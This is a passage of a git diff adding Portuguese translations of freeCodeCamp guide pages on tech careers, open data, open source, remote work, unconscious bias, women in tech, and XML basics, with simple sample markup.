+
+Para ver a lista completa, visite: https://talkpython.fm/episodes/show/130/10-books-python-developers-should-be-reading
+
+### Artigos
+
+*   [Nós demitimos nossos principais talentos. Melhor decisão que já fizemos.](https://medium.freecodecamp.org/we-fired-our-top-talent-best-decision-we-ever-made-4c0a99728fde)
+*   [Você demitiu seu melhor talento. Espero que estejas feliz.](https://medium.com/@deusexmachina667/you-fired-your-top-talent-i-hope-youre-happy-cf57c41183dd)
+*   [Como executar um processo de desenvolvimento bem-sucedido (mesmo que você não seja técnico)](https://medium.freecodecamp.org/how-to-run-a-successful-development-process-even-if-youre-not-technical-185d0558c89a)
+*   [O que é dívida técnica? E por que quase toda startup tem isso?](https://medium.freecodecamp.org/what-is-technical-debt-and-why-do-most-startups-have-it-9a54458daabf)
+*   [Como você pode conseguir um emprego de 6 dígitos Em tecnologia sem conexões - dicas que me permitiram ofertas de emprego do Google e de outros gigantes da tecnologia](https://medium.freecodecamp.org/how-you-can-land-a-6-figure-job-in-tech-with-no-connections-6eed0de26ea4)
+*   [Guia de carreira do desenvolvedor de software completo](https://simpleprogrammer.com/products/careerguide/)
+
+### Podcasts
+
+[10 livros Python Developers devem estar lendo - talkpython.fm](https://talkpython.fm/episodes/show/130/10-books-python-developers-should-be-reading)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/open-data/index.md b/client/src/guide/portuguese/working-in-tech/open-data/index.md
new file mode 100644
index 0000000000..23b942c866
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/open-data/index.md
@@ -0,0 +1,21 @@
+---
+title: Open Data
+localeTitle: Dados abertos
+---
+## Dados abertos
+
+Dados abertos são dados que estão disponíveis gratuitamente e qualquer pessoa pode _acessar, reutilizar e compartilhá-_ los.
+
+Os seguintes pontos são característicos de dados abertos:
+
+*   Os dados se tornam utilizáveis ​​por estarem disponíveis em um formato comum e compreensível.
+*   Os dados devem estar disponíveis sob uma licença aberta. Isso permite que qualquer um use, redistribua e modifique.
+
+Dados abertos podem ajudar governos, empresas e indivíduos. Pode melhorar os serviços, trazer mudanças socioeconômicas e proteger o planeta.
+
+Uma forma de usar dados abertos é através do Civic Hacking no código local da America Brigade.
+
+#### Mais Informações:
+
+*   [Abrir a página da Wikipedia de dados](https://en.wikipedia.org/wiki/Open_data)
+*   [Encontre sua brigada](http://brigade.codeforamerica.org/brigade/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/open-source/index.md b/client/src/guide/portuguese/working-in-tech/open-source/index.md
new file mode 100644
index 0000000000..b54d5566a1
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/open-source/index.md
@@ -0,0 +1,36 @@
+---
+title: Open Source
+localeTitle: Código aberto
+---
+## Código aberto
+
+Software de código aberto é qualquer tipo de software que está disponível ao público para usar, modificar ou baixar gratuitamente. Qualquer um é capaz de criar um projeto de código aberto.
+
+Os projetos de código aberto são legalmente abertos por meio de uma licença de criativo. Eles são alterados, mantidos ou abandonados por seus criadores a qualquer momento. Muitos projetos de código aberto têm contribuidores voluntários para adicionar e editar código, e um número crescente de projetos de código aberto ocupa um lugar importante entre os softwares mais populares disponíveis atualmente.
+
+### Vantagens
+
+O código aberto não depende da empresa ou autor que originalmente o criou. Em uma situação em que a empresa falha, o código continua existindo e os usuários continuarão desenvolvendo-o. Além disso, utiliza padrões abertos acessíveis a todos; assim, não tem o problema de formatos incompatíveis que existem no software proprietário.
+
+Além disso, as empresas que usam software de código aberto não precisam pensar em modelos complexos de licenciamento e não precisam de medidas antipirataria, como a ativação de um produto ou o número de série.
+
+O software de código aberto é normalmente de **menor custo** , **maior segurança** e **melhor qualidade** quando comparado ao software proprietário.
+
+### Desvantagens
+
+A principal desvantagem do software de código aberto é que muitas vezes não é muito simples de usar. Sistemas operacionais de código aberto como o Linux não podem ser aprendidos em um dia. Eles exigem esforço contínuo e treinamento do seu lado antes que você seja capaz de dominá-los. Você pode precisar contratar uma pessoa treinada para facilitar as coisas, e isso pode gerar custos adicionais.
+
+### Código aberto para desenvolvedores
+
+O software de código aberto permite que os desenvolvedores visualizem o código-fonte de qualquer software que esteja sob licença criativa. Os projetos de código aberto facilitam a contribuição dos desenvolvedores em diferentes projetos, mesmo sem fazer alterações no arquivo real no servidor, apenas fazendo o download do arquivo em nossa máquina local.
+
+Existem diferentes sites onde as pessoas podem encontrar os projetos de código aberto, como:
+
+1.  https://github.com
+2.  https://opensource.google.com/
+
+Um dos maiores projetos de código aberto é o Linux.
+
+#### Mais Informações:
+
+[Iniciativa de Código Aberto](https://opensource.org/) [Modelo de código aberto da Wikipédia](https://en.wikipedia.org/wiki/Open-source_model) [Software de código aberto da Wikipedia](https://en.wikipedia.org/wiki/Open-source_software)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/open-source/open-source-newbie/index.md b/client/src/guide/portuguese/working-in-tech/open-source/open-source-newbie/index.md
new file mode 100644
index 0000000000..a21ed8555f
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/open-source/open-source-newbie/index.md
@@ -0,0 +1,17 @@
+---
+title: The Battle of Open Source
+localeTitle: A batalha do código aberto
+---
+Como alguém novo no desenvolvimento de software, contribuindo para projetos de código aberto, pode parecer intimidador e absolutamente aterrorizante. O desenvolvimento de software de aprendizagem foi uma jornada inesperada que tive o prazer de seguir. Tendo o apoio de meus familiares e amigos tornaram a jornada menos desafiadora, então não foi um caminho fácil. Eu bati muitos obstáculos no caminho, mas continuo me desafiando todos os dias. Li muitos artigos sugerindo que, como desenvolvedor de software júnior, é importante contribuir com fontes abertas. Eu procurei no innerwebs por um projeto open source que eu senti que poderia resolver facilmente.
+
+A dura realidade é que a maioria das fontes abertas lá fora não é tão fácil quanto eu pensava que seria. O GitHub em geral tem sido um desafio para aprender e eu sinto que aprendo algo novo a cada dia, mas olhando para vários projetos open source "amigáveis ​​ao iniciante", eu cheguei à completa conclusão de que vai demorar muito mais tempo do que eu pensado para ser capaz de contribuir com código em projetos de código aberto.
+
+## Lições aprendidas
+
+Mesmo que o parágrafo acima pode parecer um pouco fora de colocar não se preocupe. Sim, os projetos de código aberto não são nada para considerar um negócio sério. Leve o seu tempo, leia a documentação ou leia-me, faça pesquisas e nunca desista ou pare de aprender. Não importa se você é um iniciante ou um desenvolvedor experiente, sempre haverá algo novo para aprender.
+
+## Aqui estão alguns artigos para mantê-lo motivado:
+
+*   https://medium.freecodecamp.org/i-made-my-first-open-source-contribution-within-200-days-and-how-you-can-too-4d5bdbd63fad
+*   https://opensource.com/article/17/5/making-your-first-open-source-contribution
+*   https://medium.com/ifme/my-first-open-source-contribution-68c86de88af9
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/remote-versus-onsite/index.md b/client/src/guide/portuguese/working-in-tech/remote-versus-onsite/index.md
new file mode 100644
index 0000000000..052ebb18d5
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/remote-versus-onsite/index.md
@@ -0,0 +1,35 @@
+---
+title: Remote Versus Onsite
+localeTitle: Remoto versus no local
+---
+## Remoto versus no local
+
+Existem dois ambientes de trabalho principais: no local e remoto.
+
+### Trabalho no local
+
+O trabalho no local é o que você pode pensar quando você pensa em um trabalho 9-5. Quando estiver no local, você pode estar no escritório da sua empresa ou no escritório do cliente. De qualquer forma, você está no mesmo local físico que o resto das pessoas com quem trabalha.
+
+### Trabalho remoto
+
+O trabalho remoto ocorre quando os membros da equipe trabalham em locais físicos separados. Você pode trabalhar em qualquer lugar: em sua casa (sem deslocamento), em um espaço de trabalho compartilhado (às vezes pago pelo seu empregador) ou até mesmo em uma praia na Tailândia. Muitas vezes, sua única restrição é que você tenha acesso à Internet.
+
+Como a comunicação em pessoa ocorre com menos freqüência (se é que acontece), as equipes remotas costumam confiar mais em softwares de comunicação como o [Slack](https://slack.com/) e o [Skype](https://www.skype.com/) .
+
+As equipes remotas podem hospedar retiros regulares da empresa para que os membros da equipe possam se encontrar e sair.
+
+### O "entre"
+
+Algumas empresas estão 100% no local e algumas são 100% remotas. Mas não é incomum encontrar empresas ou equipes que permitem que você trabalhe remotamente um ou dois dias por semana. Isso permite que você experimente alguns dos benefícios do trabalho remoto, sem ser remoto o tempo todo.
+
+O trabalho remoto pode ser uma ótima ferramenta para um negócio como um plano de contingência em caso de mau tempo ou um desastre natural.
+
+Algumas empresas também têm um escritório físico onde você pode ir trabalhar se quiser, mas permite que você trabalhe onde quer. Recentemente, houve mais movimento de grandes empresas, como a IBM, para a mudança de funcionários para empregos no local. No entanto, muitas organizações grandes ainda são muito flexíveis e estão dispostas a permitir que você trabalhe em casa ou em outro local conveniente.
+
+### Múltiplas Equipes
+
+As empresas maiores podem ter uma versão diferente do "intermediário", onde têm várias equipes diferentes trabalhando no local, mas em vários locais diferentes. Por exemplo, uma equipe trabalhando no local em Nova York e outra equipe trabalhando no local em Chicago. Você pode sair com outros membros da equipe em um escritório, mas também usa técnicas de trabalho remoto (Slack, Skype, etc.) para manter contato e em sincronia com as outras equipes. As equipes podem estar trabalhando no mesmo projeto ou desenvolvendo algo independentemente contra o mesmo aplicativo ou plataforma.
+
+### Mais Informações:
+
+Quincy Larson sobre a economia de trabalhar remotamente: [médio](https://medium.freecodecamp.org/the-economics-of-working-remotely-28d4173e16e2)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/unconscious-bias/index.md b/client/src/guide/portuguese/working-in-tech/unconscious-bias/index.md
new file mode 100644
index 0000000000..2434965446
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/unconscious-bias/index.md
@@ -0,0 +1,40 @@
+---
+title: Unconscious Bias
+localeTitle: Viés inconsciente
+---
+## Viés inconsciente
+
+O preconceito é um preconceito em favor de ou contra uma coisa, pessoa ou grupo comparado com outro geralmente de uma maneira que é considerada injusta. Os vieses podem ser mantidos por um indivíduo, grupo ou instituição e podem ter consequências negativas ou positivas. Por essa razão, os benefícios do preconceito só podem existir à custa dos outros. Portanto, para ser "tendencioso para" você deve ser "tendencioso contra".
+
+O viés inconsciente, também conhecido como "viés implícito", ocorre quando as pessoas favorecem outras que se parecem com elas e / ou compartilham seus valores. Por exemplo, uma pessoa pode ser atraída por alguém com uma formação educacional semelhante, da mesma área, que compartilhe uma orientação sexual semelhante ou que seja da mesma cor ou etnia que eles.
+
+Preconceito implícito ou inconsciente acontece por nossos cérebros fazendo julgamentos incrivelmente rápidos e avaliações de pessoas e situações sem nos darmos conta. Nossos preconceitos são influenciados por nosso histórico, ambiente cultural e experiências pessoais. Podemos até não estar cientes dessas visões e opiniões, ou estar conscientes de seu impacto e implicações totais. 3
+
+O preconceito inconsciente é muito mais prevalente do que o preconceito consciente e muitas vezes incompatível com os valores conscientes da pessoa. Certos cenários podem ativar atitudes e crenças inconscientes. Por exemplo, vieses podem ser mais prevalentes quando multitarefa ou trabalhando sob pressão de tempo. 4
+
+Se você estiver trabalhando em uma [equipe remota híbrida](https://github.com/freeCodeCamp/guides/src/pages/working-in-tech/remote-versus-onsite/index.md) , pode haver um viés inconsciente, dependendo de onde alguém está sentado. Por exemplo, as pessoas saem fisicamente com os colegas (o momento literal do 'bebedouro') de uma maneira diferente de como eles fazem através do Slack. Equipes e líderes fortes estão cientes disso e optam por [seguir certos protocolos de](https://viewpoints.matrixpartners.com/how-to-support-remote-work-by-removing-unconscious-bias-7a974f953410) trabalho para minimizar seus efeitos.
+
+#### Projeto Implícito:
+
+Existem muitos fatores que podem lhe dar um viés inconsciente, como:
+
+*   Nossa percepção - como vemos as pessoas e percebemos a realidade.
+*   Nossa atitude - como reagimos a certas pessoas.
+*   Nossos Comportamentos - como somos receptivos / amigáveis ​​em relação a certas pessoas.
+*   Nossa atenção - quais aspectos de uma pessoa a quem mais prestamos atenção.
+*   Nossas habilidades de escuta - o quanto nós ouvimos ativamente o que certas pessoas dizem.
+*   Nossas Microafirmações - quanto ou quão pouco confortamos certas pessoas em determinadas situações.
+
+Também foi encontrado em vários estudos que mesmo a ordem das perguntas em um teste pode levar a um viés inconsistente. Há um vídeo muito bom sobre o assunto [aqui](https://www.youtube.com/watch?v=75g4d5sF3xI) .
+
+O preconceito inconsciente é muito mais prevalente do que o preconceito consciente e muitas vezes incompatível com os valores conscientes da pessoa. Certos cenários podem ativar atitudes e crenças inconscientes. Por exemplo, vieses podem ser mais prevalentes quando multitarefa ou trabalhando sob pressão de tempo.
+
+O viés inconsciente pode influenciar as decisões de recrutamento, promoção e gerenciamento de desempenho. Pode ser discriminatório quando o viés inconsciente se relaciona a uma característica protegida.
+
+#### Mais Informações:
+
+1.  [Navarro, Renee MD. "O que é preconceito inconsciente?" _Universidade da Califórnia, São Francisco._ Acesso em: 20 de outubro de 2017](https://diversity.ucsf.edu/resources/unconscious-bias)
+2.  ["Viés inconsciente". _Assessoria, Conciliação e Serviço de Arbitragem._ Acesso em: 20 de outubro de 2017](http://www.acas.org.uk/index.aspx?articleid=5433)
+3.  ["Viés inconsciente". _Unidade de Desafio de Igualdade._ Acesso em: 20 de outubro de 2017](https://www.ecu.ac.uk/guidance-resources/employment-and-careers/staff-recruitment/unconscious-bias/)
+4.  ["O que é preconceito inconsciente" University of California, San Francisco Escritório de Diversidade e Divulgação. Acesso em: 15 de outubro de 2017.](https://diversity.ucsf.edu/resources/unconscious-bias)
+5.  ["Inconsciente Bias" acas.org.uk Acessado: 15 de outubro de 2017.](http://www.acas.org.uk/index.aspx?articleid=5433)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/women-in-tech/index.md b/client/src/guide/portuguese/working-in-tech/women-in-tech/index.md
new file mode 100644
index 0000000000..fa765a1e59
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/women-in-tech/index.md
@@ -0,0 +1,26 @@
+---
+title: Women in Tech
+localeTitle: Mulheres na tecnologia
+---
+## Mulheres em tecnologia
+
+De um artigo sobre ["As últimas estatísticas sobre mulheres na tecnologia"](https://www.themuse.com/advice/the-latest-stats-on-women-in-tech) ,
+
+> "Todos nós sabemos que há uma grande lacuna de gênero quando se trata de mulheres na área de tecnologia.
+> 
+> Embora façamos a maior parte do ambiente de trabalho e da mídia social, representamos apenas uma pequena porcentagem do mundo da tecnologia.
+> 
+> E isso é refletido em algumas das estatísticas que você vê. Por exemplo, de acordo com um relatório de 2011 do Level Playing Field Institute, 82% dos homens em startups acreditavam que suas empresas gastavam a "quantidade certa de tempo" abordando a diversidade, enquanto quase 40% das mulheres acreditavam que não havia tempo suficiente "
+
+![Alt text](https://www.womenwhotech.com/wp-content/uploads/infographic_700_FINAL.png "Mulheres na tecnologia")
+
+Embora as mulheres ainda estejam sub-representadas no mundo da tecnologia, isso não significa que não estamos fazendo a diferença no mundo da tecnologia.
+
+Em um evento Women in Tech Round-up apresentado pelo Google em Austin, as mulheres que falaram nesses eventos foram vice-presidentes (VPs) e altos cargos de gerência de empresas lucrativas que trabalham no setor de tecnologia. Nem todos começaram suas carreiras no mundo da tecnologia que muitos começaram como secretários e outros papéis que muitas vezes são voltados para as mulheres. Eles trabalharam duro e correram riscos para chegar onde estão agora. O único conselho que parecia ressoar de todos eles era que para você ter sucesso você deve correr riscos.
+
+O VP do Google, que falou neste evento, deu a todos nós um conselho: que devemos aproveitar toda e qualquer oportunidade que nos seja oferecida e nos arriscar a candidatar-se a trabalhos para os quais não estamos qualificados. O pior que vai acontecer é que você será rejeitado ou não conseguirá uma entrevista. Os homens obtêm posições tecnológicas não porque são mais experientes ou melhores do que as mulheres, mas porque se aplicam a cargos que muitas vezes não são qualificados, enquanto as mulheres só se candidatam a vagas para as quais eles acham que estão qualificadas. A pior coisa que você pode fazer é vender-se a descoberto se quiser que algo corra esse risco e consiga o impossível.
+
+### Mais Informações:
+
+*   [Por que há tão poucas mulheres na tecnologia? A verdade por trás do memorando do Google](https://www.theguardian.com/lifeandstyle/2017/aug/08/why-are-there-so-few-women-in-tech-the-truth-behind-the-google-memo)
+*   [Ellen Pao: Alguma coisa realmente mudou para as mulheres na tecnologia?](https://www.nytimes.com/2017/09/16/opinion/sunday/ellen-pao-sexism-tech.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/xml/index.md b/client/src/guide/portuguese/xml/index.md
new file mode 100644
index 0000000000..27834986aa
--- /dev/null
+++ b/client/src/guide/portuguese/xml/index.md
@@ -0,0 +1,64 @@
+---
+title: Extensible Markup Language (XML)
+localeTitle: Extensible Markup Language (XML)
+---
+## Extensible Markup Language (XML)
+
+XML significa eXtensible Markup Language. Ele é extensível, porque não usa um conjunto predefinido de tags para identificar componentes estruturais; em vez disso, fornece um mecanismo para definir esses conjuntos de tags. O principal objetivo da linguagem é compartilhar os dados. Ao contrário do HTML, no XML não há um conjunto predefinido de tags e tags especificam o significado, em vez da apresentação.
+
+\## Sintaxe do XML A sintaxe XML refere-se às regras que determinam como um aplicativo XML pode ser gravado. A sintaxe XML é muito simples e isso torna o XML muito fácil de aprender. Documentos XML devem conter um elemento raiz que seja o pai de todos os outros elementos:
+```
+<root> 
+  <child> 
+    <subchild>.....</subchild> 
+  </child> 
+ </root> 
+```
+
+#### XML deve ter um elemento raiz
+
+Acima da sintaxe mostra o elemento raiz que é necessário ao criar um código XML. Isso pode ser mostrado pelo exemplo:
+```
+<?xml version="1.0" encoding="UTF-8"?> 
+ <note> 
+  <to>Tove</to> 
+  <from>Jani</from> 
+  <heading>Reminder</heading> 
+  <body>Don't forget me this weekend!</body> 
+ </note> 
+```
+
+Neste exemplo, 'note' é o elemento raiz.
+
+*   Vantagens de usar XML:
+    
+    *   Simplicidade - Documentos XML são arquivos de texto comuns que podem ser criados e editados com qualquer editor de texto.
+    *   Independência do fornecedor
+    *   Independência de plataforma
+    *   Infraestrutura extensa
+*   Desvantagens do uso de XML:
+    
+*   Sintaxe detalhada e incômoda
+    
+*   Armazenamento altamente ineficiente
+    
+
+Em Linguagem de Computação, a Linguagem de Marcação Extensível (XML) é aquela que define um conjunto ou bloco de Regras que são posteriormente usadas para codificar documentos em tal Formato, que é ao mesmo tempo Máquina e Leitura Humana.
+
+Há uma coisa principal entre XML e HTML que os torna diferentes uns dos outros. É que o XML foi projetado para transportar uma informação específica e se concentra apenas nessa informação. E o HTML se concentra em exibir informações específicas como design e todas essas informações relacionadas a informações.
+
+O XML também não usa tags predefinidas usadas pelo HTML. Utiliza tags definidas pelo usuário.
+
+A seguir, a simplicidade causada pelo XML:
+
+1.  Simplifica o compartilhamento de dados
+2.  Simplifica o transporte de dados
+3.  Simplifica as mudanças de plataforma
+4.  Simplifica a disponibilidade de dados
+
+E a principal conquista foi que se tornou uma recomendação do W3C já em fevereiro de 1998.
+
+### Mais Informações
+
+*   [Introdução XML](https://developer.mozilla.org/en-US/docs/XML_introduction)
+*   [Introdução ao XML](https://www.w3schools.com/xml/xml_whatis.asp)
\ No newline at end of file